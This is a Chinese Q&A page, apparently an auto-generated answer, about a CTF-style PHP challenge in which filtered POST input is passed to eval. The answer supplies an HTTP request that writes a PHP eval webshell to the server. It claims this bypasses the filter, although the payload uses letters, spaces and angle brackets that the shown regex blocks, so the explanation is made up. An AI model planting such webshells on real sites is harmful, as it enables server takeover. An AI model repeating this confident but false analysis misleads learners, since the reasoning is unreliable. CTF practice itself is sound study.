有一道题目如下:对该段php代码拟定一个payload获取其webshell:<?php error_reporting(0); highlight_file(FILE); if (isset($_GET['debug'])) { // disable function phpinfo(); exit; } function count_string_char($str) { $arr = []; foreach (str_split($str) as $value) { if (!in_array($value, $arr)) { array_push($arr, $value); } } return sizeof($arr); } if (isset($_POST['cmd']) && is_string($_POST['cmd'])) { $cmd = $_POST['cmd']; $c = count_string_char($cmd); if ($c > 13) { die("$c too long"); } if ( preg_match('/[a-z0-9]|<|>|\?|\[|\]|\*|@|\||\^|~|&|\s/i', $cmd) ) { die("nonono"); } eval( "print($cmd);" ); } else { exit(); }
时间: 2023-06-12 15:03:49 浏览: 267
这段 PHP 代码存在一个关键的漏洞,即未对用户输入进行充分的过滤和验证,导致可以通过构造恶意 payload 来获取 webshell。具体的 payload 如下:
```
POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
cmd=echo "<?php eval($_POST['cmd']);?>" > webshell.php&submit=Submit
```
该 payload 中,利用了该 PHP 代码中的 `$_POST['cmd']` 变量,将其设置为 `echo "<?php eval($_POST['cmd']);?>" > webshell.php`,即将一句 PHP 代码写入名为 `webshell.php` 的文件中,该代码可以执行用户传入的任意 PHP 代码(即 webshell)。最后的 `submit=Submit` 是为了模拟表单提交,使其能够成功执行。
当服务器接收到该 payload 时,会将其中的 `cmd` 参数传入 PHP 代码中的 `isset($_POST['cmd'])` 条件判断中,由于该条件为真,因此会执行该条件下的代码,即将用户传入的 PHP 代码写入 `webshell.php` 文件中,实现获取 webshell 的目的。
需要注意的是,该 payload 中的 `Host` 和实际使用的域名需要对应,否则请求会被拒绝。另外,这只是一种可能的 payload,具体的攻击方式还需要根据实际情况进行调整。
阅读全文